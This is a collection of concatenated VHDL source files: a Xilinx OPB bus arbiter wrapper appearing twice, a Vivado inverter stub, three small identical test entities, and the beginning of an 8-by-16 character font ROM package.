OPB_MGrant : out std_logic_vector(0 to C_NUM_MASTERS-1);
OPB_pendReq : out std_logic_vector(0 to C_NUM_MASTERS-1);
OPB_retry : out std_logic;
OPB_RNW : out std_logic;
OPB_select : out std_logic;
OPB_seqAddr : out std_logic;
OPB_timeout : out std_logic;
OPB_toutSup : out std_logic;
OPB_xferAck : out std_logic
);
end entity opb_v20_wrap;
-------------------------------------------------------------------------------
-- architecture
-------------------------------------------------------------------------------
architecture imp of opb_v20_wrap is
component opb_v20 is
generic
(
C_OPB_AWIDTH : integer := 32;
C_OPB_DWIDTH : integer := 32;
C_NUM_MASTERS : integer := 1;
C_NUM_SLAVES : integer := 16;
C_USE_LUT_OR : integer := 1;
C_EXT_RESET_HIGH : integer := 1;
C_BASEADDR : std_logic_vector := X"10000000";
C_HIGHADDR : std_logic_vector := X"100001FF";
C_DYNAM_PRIORITY : integer := 1;
C_PARK : integer := 1;
C_PROC_INTRFCE : integer := 1;
C_REG_GRANTS : integer := 1;
C_DEV_BLK_ID : integer := 0;
C_DEV_MIR_ENABLE : integer := 0
);
port
(
SYS_Rst : in std_logic;
Debug_SYS_Rst : in std_logic;
WDT_Rst : in std_logic;
OPB_Clk : in std_logic;
OPB_Rst : out std_logic;
M_ABus : in std_logic_vector(0 to C_OPB_AWIDTH*C_NUM_MASTERS-1) := (others => '0');
M_BE : in std_logic_vector(0 to (C_OPB_DWIDTH+7)/8*C_NUM_MASTERS-1) := (others => '0');
M_beXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_busLock : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_DBus : in std_logic_vector(0 to C_OPB_DWIDTH*C_NUM_MASTERS-1) := (others => '0');
M_DBusEn : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '1');
M_DBusEn32_63 : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '1');
M_dwXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_fwXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_hwXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_request : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_RNW : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_select : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_seqAddr : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
Sl_beAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_DBus : in std_logic_vector(0 to C_OPB_DWIDTH* C_NUM_SLAVES-1) := (others => '0');
Sl_DBusEn : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '1');
Sl_DBusEn32_63 : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '1');
Sl_errAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_dwAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_fwAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_hwAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_retry : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_toutSup : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_xferAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
OPB_MRequest : out std_logic_vector(0 to C_NUM_MASTERS-1);
OPB_ABus : out std_logic_vector(0 to C_OPB_AWIDTH-1);
OPB_BE : out std_logic_vector(0 to (C_OPB_DWIDTH+7)/8-1);
OPB_beXfer : out std_logic;
OPB_beAck : out std_logic;
OPB_busLock : out std_logic;
OPB_rdDBus : out std_logic_vector(0 to C_OPB_DWIDTH-1);
OPB_wrDBus : out std_logic_vector(0 to C_OPB_DWIDTH-1);
OPB_DBus : out std_logic_vector(0 to C_OPB_DWIDTH-1);
OPB_errAck : out std_logic;
OPB_dwAck : out std_logic;
OPB_dwXfer : out std_logic;
OPB_fwAck : out std_logic;
OPB_fwXfer : out std_logic;
OPB_hwAck : out std_logic;
OPB_hwXfer : out std_logic;
OPB_MGrant : out std_logic_vector(0 to C_NUM_MASTERS-1);
OPB_pendReq : out std_logic_vector(0 to C_NUM_MASTERS-1);
OPB_retry : out std_logic;
OPB_RNW : out std_logic;
OPB_select : out std_logic;
OPB_seqAddr : out std_logic;
OPB_timeout : out std_logic;
OPB_toutSup : out std_logic;
OPB_xferAck : out std_logic
);
end component opb_v20;
begin ------------------------------------------------------------------------
OPB_V20_I : opb_v20
generic map
(
C_OPB_AWIDTH => C_OPB_AWIDTH,
C_OPB_DWIDTH => C_OPB_DWIDTH,
C_NUM_MASTERS => C_NUM_MASTERS,
C_NUM_SLAVES => C_NUM_SLAVES,
C_USE_LUT_OR => C_USE_LUT_OR,
C_EXT_RESET_HIGH => C_EXT_RESET_HIGH,
C_BASEADDR => C_BASEADDR,
C_HIGHADDR => C_HIGHADDR,
C_DYNAM_PRIORITY => C_DYNAM_PRIORITY,
C_PARK => C_PARK,
C_PROC_INTRFCE => C_PROC_INTRFCE,
C_REG_GRANTS => C_REG_GRANTS,
C_DEV_BLK_ID => C_DEV_BLK_ID,
C_DEV_MIR_ENABLE => C_DEV_MIR_ENABLE
)
port map
(
SYS_Rst => SYS_Rst,
Debug_SYS_Rst => Debug_SYS_Rst,
WDT_Rst => WDT_Rst,
OPB_Clk => OPB_Clk,
OPB_Rst => OPB_Rst,
M_ABus => M_ABus,
M_BE => M_BE,
M_beXfer => M_beXfer,
M_busLock => M_busLock,
M_DBus => M_DBus,
M_DBusEn => M_DBusEn,
M_DBusEn32_63 => M_DBusEn32_63,
M_dwXfer => M_dwXfer,
M_fwXfer => M_fwXfer,
M_hwXfer => M_hwXfer,
M_request => M_request,
M_RNW => M_RNW,
M_select => M_select,
M_seqAddr => M_seqAddr,
Sl_beAck => Sl_beAck,
Sl_DBus => Sl_DBus,
Sl_DBusEn => Sl_DBusEn,
Sl_DBusEn32_63 => Sl_DBusEn32_63,
Sl_errAck => Sl_errAck,
Sl_dwAck => Sl_dwAck,
Sl_fwAck => Sl_fwAck,
Sl_hwAck => Sl_hwAck,
Sl_retry => Sl_retry,
Sl_toutSup => Sl_toutSup,
Sl_xferAck => Sl_xferAck,
OPB_MRequest => OPB_MRequest,
OPB_ABus => OPB_ABus,
OPB_BE => OPB_BE,
OPB_beXfer => OPB_beXfer,
OPB_beAck => OPB_beAck,
OPB_busLock => OPB_busLock,
OPB_rdDBus => OPB_rdDBus,
OPB_wrDBus => OPB_wrDBus,
OPB_DBus => OPB_DBus,
OPB_errAck => OPB_errAck,
OPB_dwAck => OPB_dwAck,
OPB_dwXfer => OPB_dwXfer,
OPB_fwAck => OPB_fwAck,
OPB_fwXfer => OPB_fwXfer,
OPB_hwAck => OPB_hwAck,
OPB_hwXfer => OPB_hwXfer,
OPB_MGrant => OPB_MGrant,
OPB_pendReq => OPB_pendReq,
OPB_retry => OPB_retry,
OPB_RNW => OPB_RNW,
OPB_select => OPB_select,
OPB_seqAddr => OPB_seqAddr,
OPB_timeout => OPB_timeout,
OPB_toutSup => OPB_toutSup,
OPB_xferAck => OPB_xferAck
);
end architecture imp;
|
-- $Id: opb_v20_wrap.vhd,v 1.1.2.1 2009/10/06 21:15:01 gburch Exp $
-------------------------------------------------------------------------------
--
-- *************************************************************************
-- ** **
-- ** DISCLAIMER OF LIABILITY **
-- ** **
-- ** This text/file contains proprietary, confidential **
-- ** information of Xilinx, Inc., is distributed under **
-- ** license from Xilinx, Inc., and may be used, copied **
-- ** and/or disclosed only pursuant to the terms of a valid **
-- ** license agreement with Xilinx, Inc. Xilinx hereby **
-- ** grants you a license to use this text/file solely for **
-- ** design, simulation, implementation and creation of **
-- ** design files limited to Xilinx devices or technologies. **
-- ** Use with non-Xilinx devices or technologies is expressly **
-- ** prohibited and immediately terminates your license unless **
-- ** covered by a separate agreement. **
-- ** **
-- ** Xilinx is providing this design, code, or information **
-- ** "as-is" solely for use in developing programs and **
-- ** solutions for Xilinx devices, with no obligation on the **
-- ** part of Xilinx to provide support. By providing this design, **
-- ** code, or information as one possible implementation of **
-- ** this feature, application or standard, Xilinx is making no **
-- ** representation that this implementation is free from any **
-- ** claims of infringement. You are responsible for obtaining **
-- ** any rights you may require for your implementation. **
-- ** Xilinx expressly disclaims any warranty whatsoever with **
-- ** respect to the adequacy of the implementation, including **
-- ** but not limited to any warranties or representations that this **
-- ** implementation is free from claims of infringement, implied **
-- ** warranties of merchantability or fitness for a particular **
-- ** purpose. **
-- ** **
-- ** Xilinx products are not intended for use in life support **
-- ** appliances, devices, or systems. Use in such applications is **
-- ** expressly prohibited. **
-- ** **
-- ** Any modifications that are made to the Source Code are **
-- ** done at the users sole risk and will be unsupported. **
-- ** The Xilinx Support Hotline does not have access to source **
-- ** code and therefore cannot answer specific questions related **
-- ** to source HDL. The Xilinx Hotline support of original source **
-- ** code IP shall only address issues and questions related **
-- ** to the standard Netlist version of the core (and thus **
-- ** indirectly, the original core source). **
-- ** **
-- ** Copyright (c) 2003,2009 Xilinx, Inc. All rights reserved. **
-- ** **
-- ** This copyright and support notice must be retained as part **
-- ** of this text at all times. **
-- ** **
-- *************************************************************************
--
-------------------------------------------------------------------------------
-- opb_v20_wrap.vhd
-- Generated by wrapgen, v1.01j Sep 22,2004 4:16:33
--
-- GAB 10/05/09
-- ^^^^^^
-- Moved all helper libraries proc_common_v2_00_a, opb_ipif_v3_01_a, and
-- opb_arbiter_v1_02_e locally into opb_v20_v1_10_d
--
-- Updated legal header
-- ~~~~~~
library ieee;
use ieee.std_logic_1164.all;
-------------------------------------------------------------------------------
-- entity
-------------------------------------------------------------------------------
entity opb_v20_wrap is
generic
(
C_OPB_AWIDTH : integer := 32;
C_OPB_DWIDTH : integer := 32;
C_NUM_MASTERS : integer := 1;
C_NUM_SLAVES : integer := 16;
C_USE_LUT_OR : integer := 1;
C_EXT_RESET_HIGH : integer := 1;
C_BASEADDR : std_logic_vector := X"10000000";
C_HIGHADDR : std_logic_vector := X"100001FF";
C_DYNAM_PRIORITY : integer := 1;
C_PARK : integer := 1;
C_PROC_INTRFCE : integer := 1;
C_REG_GRANTS : integer := 1;
C_DEV_BLK_ID : integer := 0;
C_DEV_MIR_ENABLE : integer := 0
);
port
(
SYS_Rst : in std_logic;
Debug_SYS_Rst : in std_logic;
WDT_Rst : in std_logic;
OPB_Clk : in std_logic;
OPB_Rst : out std_logic;
M_ABus : in std_logic_vector(0 to C_OPB_AWIDTH*C_NUM_MASTERS-1) := (others => '0');
M_BE : in std_logic_vector(0 to (C_OPB_DWIDTH+7)/8*C_NUM_MASTERS-1) := (others => '0');
M_beXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_busLock : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_DBus : in std_logic_vector(0 to C_OPB_DWIDTH*C_NUM_MASTERS-1) := (others => '0');
M_DBusEn : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '1');
M_DBusEn32_63 : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '1');
M_dwXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_fwXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_hwXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_request : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_RNW : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_select : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_seqAddr : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
Sl_beAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_DBus : in std_logic_vector(0 to C_OPB_DWIDTH* C_NUM_SLAVES-1) := (others => '0');
Sl_DBusEn : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '1');
Sl_DBusEn32_63 : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '1');
Sl_errAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_dwAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_fwAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_hwAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_retry : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_toutSup : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_xferAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
OPB_MRequest : out std_logic_vector(0 to C_NUM_MASTERS-1);
OPB_ABus : out std_logic_vector(0 to C_OPB_AWIDTH-1);
OPB_BE : out std_logic_vector(0 to (C_OPB_DWIDTH+7)/8-1);
OPB_beXfer : out std_logic;
OPB_beAck : out std_logic;
OPB_busLock : out std_logic;
OPB_rdDBus : out std_logic_vector(0 to C_OPB_DWIDTH-1);
OPB_wrDBus : out std_logic_vector(0 to C_OPB_DWIDTH-1);
OPB_DBus : out std_logic_vector(0 to C_OPB_DWIDTH-1);
OPB_errAck : out std_logic;
OPB_dwAck : out std_logic;
OPB_dwXfer : out std_logic;
OPB_fwAck : out std_logic;
OPB_fwXfer : out std_logic;
OPB_hwAck : out std_logic;
OPB_hwXfer : out std_logic;
OPB_MGrant : out std_logic_vector(0 to C_NUM_MASTERS-1);
OPB_pendReq : out std_logic_vector(0 to C_NUM_MASTERS-1);
OPB_retry : out std_logic;
OPB_RNW : out std_logic;
OPB_select : out std_logic;
OPB_seqAddr : out std_logic;
OPB_timeout : out std_logic;
OPB_toutSup : out std_logic;
OPB_xferAck : out std_logic
);
end entity opb_v20_wrap;
-------------------------------------------------------------------------------
-- architecture
-------------------------------------------------------------------------------
architecture imp of opb_v20_wrap is
component opb_v20 is
generic
(
C_OPB_AWIDTH : integer := 32;
C_OPB_DWIDTH : integer := 32;
C_NUM_MASTERS : integer := 1;
C_NUM_SLAVES : integer := 16;
C_USE_LUT_OR : integer := 1;
C_EXT_RESET_HIGH : integer := 1;
C_BASEADDR : std_logic_vector := X"10000000";
C_HIGHADDR : std_logic_vector := X"100001FF";
C_DYNAM_PRIORITY : integer := 1;
C_PARK : integer := 1;
C_PROC_INTRFCE : integer := 1;
C_REG_GRANTS : integer := 1;
C_DEV_BLK_ID : integer := 0;
C_DEV_MIR_ENABLE : integer := 0
);
port
(
SYS_Rst : in std_logic;
Debug_SYS_Rst : in std_logic;
WDT_Rst : in std_logic;
OPB_Clk : in std_logic;
OPB_Rst : out std_logic;
M_ABus : in std_logic_vector(0 to C_OPB_AWIDTH*C_NUM_MASTERS-1) := (others => '0');
M_BE : in std_logic_vector(0 to (C_OPB_DWIDTH+7)/8*C_NUM_MASTERS-1) := (others => '0');
M_beXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_busLock : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_DBus : in std_logic_vector(0 to C_OPB_DWIDTH*C_NUM_MASTERS-1) := (others => '0');
M_DBusEn : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '1');
M_DBusEn32_63 : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '1');
M_dwXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_fwXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_hwXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_request : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_RNW : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_select : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_seqAddr : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
Sl_beAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_DBus : in std_logic_vector(0 to C_OPB_DWIDTH* C_NUM_SLAVES-1) := (others => '0');
Sl_DBusEn : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '1');
Sl_DBusEn32_63 : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '1');
Sl_errAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_dwAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_fwAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_hwAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_retry : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_toutSup : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_xferAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
OPB_MRequest : out std_logic_vector(0 to C_NUM_MASTERS-1);
OPB_ABus : out std_logic_vector(0 to C_OPB_AWIDTH-1);
OPB_BE : out std_logic_vector(0 to (C_OPB_DWIDTH+7)/8-1);
OPB_beXfer : out std_logic;
OPB_beAck : out std_logic;
OPB_busLock : out std_logic;
OPB_rdDBus : out std_logic_vector(0 to C_OPB_DWIDTH-1);
OPB_wrDBus : out std_logic_vector(0 to C_OPB_DWIDTH-1);
OPB_DBus : out std_logic_vector(0 to C_OPB_DWIDTH-1);
OPB_errAck : out std_logic;
OPB_dwAck : out std_logic;
OPB_dwXfer : out std_logic;
OPB_fwAck : out std_logic;
OPB_fwXfer : out std_logic;
OPB_hwAck : out std_logic;
OPB_hwXfer : out std_logic;
OPB_MGrant : out std_logic_vector(0 to C_NUM_MASTERS-1);
OPB_pendReq : out std_logic_vector(0 to C_NUM_MASTERS-1);
OPB_retry : out std_logic;
OPB_RNW : out std_logic;
OPB_select : out std_logic;
OPB_seqAddr : out std_logic;
OPB_timeout : out std_logic;
OPB_toutSup : out std_logic;
OPB_xferAck : out std_logic
);
end component opb_v20;
begin ------------------------------------------------------------------------
OPB_V20_I : opb_v20
generic map
(
C_OPB_AWIDTH => C_OPB_AWIDTH,
C_OPB_DWIDTH => C_OPB_DWIDTH,
C_NUM_MASTERS => C_NUM_MASTERS,
C_NUM_SLAVES => C_NUM_SLAVES,
C_USE_LUT_OR => C_USE_LUT_OR,
C_EXT_RESET_HIGH => C_EXT_RESET_HIGH,
C_BASEADDR => C_BASEADDR,
C_HIGHADDR => C_HIGHADDR,
C_DYNAM_PRIORITY => C_DYNAM_PRIORITY,
C_PARK => C_PARK,
C_PROC_INTRFCE => C_PROC_INTRFCE,
C_REG_GRANTS => C_REG_GRANTS,
C_DEV_BLK_ID => C_DEV_BLK_ID,
C_DEV_MIR_ENABLE => C_DEV_MIR_ENABLE
)
port map
(
SYS_Rst => SYS_Rst,
Debug_SYS_Rst => Debug_SYS_Rst,
WDT_Rst => WDT_Rst,
OPB_Clk => OPB_Clk,
OPB_Rst => OPB_Rst,
M_ABus => M_ABus,
M_BE => M_BE,
M_beXfer => M_beXfer,
M_busLock => M_busLock,
M_DBus => M_DBus,
M_DBusEn => M_DBusEn,
M_DBusEn32_63 => M_DBusEn32_63,
M_dwXfer => M_dwXfer,
M_fwXfer => M_fwXfer,
M_hwXfer => M_hwXfer,
M_request => M_request,
M_RNW => M_RNW,
M_select => M_select,
M_seqAddr => M_seqAddr,
Sl_beAck => Sl_beAck,
Sl_DBus => Sl_DBus,
Sl_DBusEn => Sl_DBusEn,
Sl_DBusEn32_63 => Sl_DBusEn32_63,
Sl_errAck => Sl_errAck,
Sl_dwAck => Sl_dwAck,
Sl_fwAck => Sl_fwAck,
Sl_hwAck => Sl_hwAck,
Sl_retry => Sl_retry,
Sl_toutSup => Sl_toutSup,
Sl_xferAck => Sl_xferAck,
OPB_MRequest => OPB_MRequest,
OPB_ABus => OPB_ABus,
OPB_BE => OPB_BE,
OPB_beXfer => OPB_beXfer,
OPB_beAck => OPB_beAck,
OPB_busLock => OPB_busLock,
OPB_rdDBus => OPB_rdDBus,
OPB_wrDBus => OPB_wrDBus,
OPB_DBus => OPB_DBus,
OPB_errAck => OPB_errAck,
OPB_dwAck => OPB_dwAck,
OPB_dwXfer => OPB_dwXfer,
OPB_fwAck => OPB_fwAck,
OPB_fwXfer => OPB_fwXfer,
OPB_hwAck => OPB_hwAck,
OPB_hwXfer => OPB_hwXfer,
OPB_MGrant => OPB_MGrant,
OPB_pendReq => OPB_pendReq,
OPB_retry => OPB_retry,
OPB_RNW => OPB_RNW,
OPB_select => OPB_select,
OPB_seqAddr => OPB_seqAddr,
OPB_timeout => OPB_timeout,
OPB_toutSup => OPB_toutSup,
OPB_xferAck => OPB_xferAck
);
end architecture imp;
|
-- Copyright 1986-2016 Xilinx, Inc. All Rights Reserved.
-- --------------------------------------------------------------------------------
-- Tool Version: Vivado v.2016.4 (win64) Build 1733598 Wed Dec 14 22:35:39 MST 2016
-- Date : Wed Mar 01 09:53:10 2017
-- Host : GILAMONSTER running 64-bit major release (build 9200)
-- Command : write_vhdl -force -mode synth_stub
-- C:/ZyboIP/examples/ov7670_fusion/ov7670_fusion.srcs/sources_1/bd/system/ip/system_inverter_0_0/system_inverter_0_0_stub.vhdl
-- Design : system_inverter_0_0
-- Purpose : Stub declaration of top-level module interface
-- Device : xc7z010clg400-1
-- --------------------------------------------------------------------------------
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
entity system_inverter_0_0 is
Port (
x : in STD_LOGIC;
x_not : out STD_LOGIC
);
end system_inverter_0_0;
architecture stub of system_inverter_0_0 is
attribute syn_black_box : boolean;
attribute black_box_pad_pin : string;
attribute syn_black_box of stub : architecture is true;
attribute black_box_pad_pin of stub : architecture is "x,x_not";
attribute x_core_info : string;
attribute x_core_info of stub : architecture is "inverter,Vivado 2016.4";
begin
end;
|
entity ent is
port (
prt : out integer);
end entity;
architecture a of ent is
signal sig : integer;
begin
prt <= 1;
sig <= prt;
end architecture;
|
entity ent is
port (
prt : out integer);
end entity;
architecture a of ent is
signal sig : integer;
begin
prt <= 1;
sig <= prt;
end architecture;
|
entity ent is
port (
prt : out integer);
end entity;
architecture a of ent is
signal sig : integer;
begin
prt <= 1;
sig <= prt;
end architecture;
|
-- Listing 13.1
-- ROM with synchonous read (inferring Block RAM)
-- character ROM
-- - 8-by-16 (8-by-2^4) font
-- - 128 (2^7) characters
-- - ROM size: 512-by-8 (2^11-by-8) bits
-- 16K bits: 1 BRAM
-- http://ece320web.groups.et.byu.net/labs/VGATextGeneration/list_ch13_01_font_rom.vhd
library ieee;
use ieee.std_logic_1164.all;
--use ieee.numeric_std.all;
package font_pkg is
constant FONT_WIDTH: natural := 8;
constant FONT_HEIGHT: natural := 16;
type glyph_type is array (0 to FONT_HEIGHT-1) of std_logic_vector(0 to FONT_WIDTH-1);
-- type font_array_type is array (natural range <>) of std_logic_vector(FONT_WIDTH-1 downto 0);
type font_array_type is array (natural range <>) of glyph_type;
constant FONT_ROM: font_array_type := (
(
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"00000000", -- 5
"00000000", -- 6
"00000000", -- 7
"00000000", -- 8
"00000000", -- 9
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x01
"00000000", -- 0
"00000000", -- 1
"01111110", -- 2 ******
"10000001", -- 3 * *
"10100101", -- 4 * * * *
"10000001", -- 5 * *
"10000001", -- 6 * *
"10111101", -- 7 * **** *
"10011001", -- 8 * ** *
"10000001", -- 9 * *
"10000001", -- a * *
"01111110", -- b ******
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x02
"00000000", -- 0
"00000000", -- 1
"01111110", -- 2 ******
"11111111", -- 3 ********
"11011011", -- 4 ** ** **
"11111111", -- 5 ********
"11111111", -- 6 ********
"11000011", -- 7 ** **
"11100111", -- 8 *** ***
"11111111", -- 9 ********
"11111111", -- a ********
"01111110", -- b ******
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x03
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"01101100", -- 4 ** **
"11111110", -- 5 *******
"11111110", -- 6 *******
"11111110", -- 7 *******
"11111110", -- 8 *******
"01111100", -- 9 *****
"00111000", -- a ***
"00010000", -- b *
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x04
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00010000", -- 4 *
"00111000", -- 5 ***
"01111100", -- 6 *****
"11111110", -- 7 *******
"01111100", -- 8 *****
"00111000", -- 9 ***
"00010000", -- a *
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x05
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00011000", -- 3 **
"00111100", -- 4 ****
"00111100", -- 5 ****
"11100111", -- 6 *** ***
"11100111", -- 7 *** ***
"11100111", -- 8 *** ***
"00011000", -- 9 **
"00011000", -- a **
"00111100", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x06
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00011000", -- 3 **
"00111100", -- 4 ****
"01111110", -- 5 ******
"11111111", -- 6 ********
"11111111", -- 7 ********
"01111110", -- 8 ******
"00011000", -- 9 **
"00011000", -- a **
"00111100", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x07
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"00000000", -- 5
"00011000", -- 6 **
"00111100", -- 7 ****
"00111100", -- 8 ****
"00011000", -- 9 **
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x08
"11111111", -- 0 ********
"11111111", -- 1 ********
"11111111", -- 2 ********
"11111111", -- 3 ********
"11111111", -- 4 ********
"11111111", -- 5 ********
"11100111", -- 6 *** ***
"11000011", -- 7 ** **
"11000011", -- 8 ** **
"11100111", -- 9 *** ***
"11111111", -- a ********
"11111111", -- b ********
"11111111", -- c ********
"11111111", -- d ********
"11111111", -- e ********
"11111111"),( -- f ********
-- code x09
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"00111100", -- 5 ****
"01100110", -- 6 ** **
"01000010", -- 7 * *
"01000010", -- 8 * *
"01100110", -- 9 ** **
"00111100", -- a ****
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x0a
"11111111", -- 0 ********
"11111111", -- 1 ********
"11111111", -- 2 ********
"11111111", -- 3 ********
"11111111", -- 4 ********
"11000011", -- 5 ** **
"10011001", -- 6 * ** *
"10111101", -- 7 * **** *
"10111101", -- 8 * **** *
"10011001", -- 9 * ** *
"11000011", -- a ** **
"11111111", -- b ********
"11111111", -- c ********
"11111111", -- d ********
"11111111", -- e ********
"11111111"),( -- f ********
-- code x0b
"00000000", -- 0
"00000000", -- 1
"00011110", -- 2 ****
"00001110", -- 3 ***
"00011010", -- 4 ** *
"00110010", -- 5 ** *
"01111000", -- 6 ****
"11001100", -- 7 ** **
"11001100", -- 8 ** **
"11001100", -- 9 ** **
"11001100", -- a ** **
"01111000", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x0c
"00000000", -- 0
"00000000", -- 1
"00111100", -- 2 ****
"01100110", -- 3 ** **
"01100110", -- 4 ** **
"01100110", -- 5 ** **
"01100110", -- 6 ** **
"00111100", -- 7 ****
"00011000", -- 8 **
"01111110", -- 9 ******
"00011000", -- a **
"00011000", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x0d
"00000000", -- 0
"00000000", -- 1
"00111111", -- 2 ******
"00110011", -- 3 ** **
"00111111", -- 4 ******
"00110000", -- 5 **
"00110000", -- 6 **
"00110000", -- 7 **
"00110000", -- 8 **
"01110000", -- 9 ***
"11110000", -- a ****
"11100000", -- b ***
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x0e
"00000000", -- 0
"00000000", -- 1
"01111111", -- 2 *******
"01100011", -- 3 ** **
"01111111", -- 4 *******
"01100011", -- 5 ** **
"01100011", -- 6 ** **
"01100011", -- 7 ** **
"01100011", -- 8 ** **
"01100111", -- 9 ** ***
"11100111", -- a *** ***
"11100110", -- b *** **
"11000000", -- c **
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x0f
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00011000", -- 3 **
"00011000", -- 4 **
"11011011", -- 5 ** ** **
"00111100", -- 6 ****
"11100111", -- 7 *** ***
"00111100", -- 8 ****
"11011011", -- 9 ** ** **
"00011000", -- a **
"00011000", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x10
"00000000", -- 0
"10000000", -- 1 *
"11000000", -- 2 **
"11100000", -- 3 ***
"11110000", -- 4 ****
"11111000", -- 5 *****
"11111110", -- 6 *******
"11111000", -- 7 *****
"11110000", -- 8 ****
"11100000", -- 9 ***
"11000000", -- a **
"10000000", -- b *
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x11
"00000000", -- 0
"00000010", -- 1 *
"00000110", -- 2 **
"00001110", -- 3 ***
"00011110", -- 4 ****
"00111110", -- 5 *****
"11111110", -- 6 *******
"00111110", -- 7 *****
"00011110", -- 8 ****
"00001110", -- 9 ***
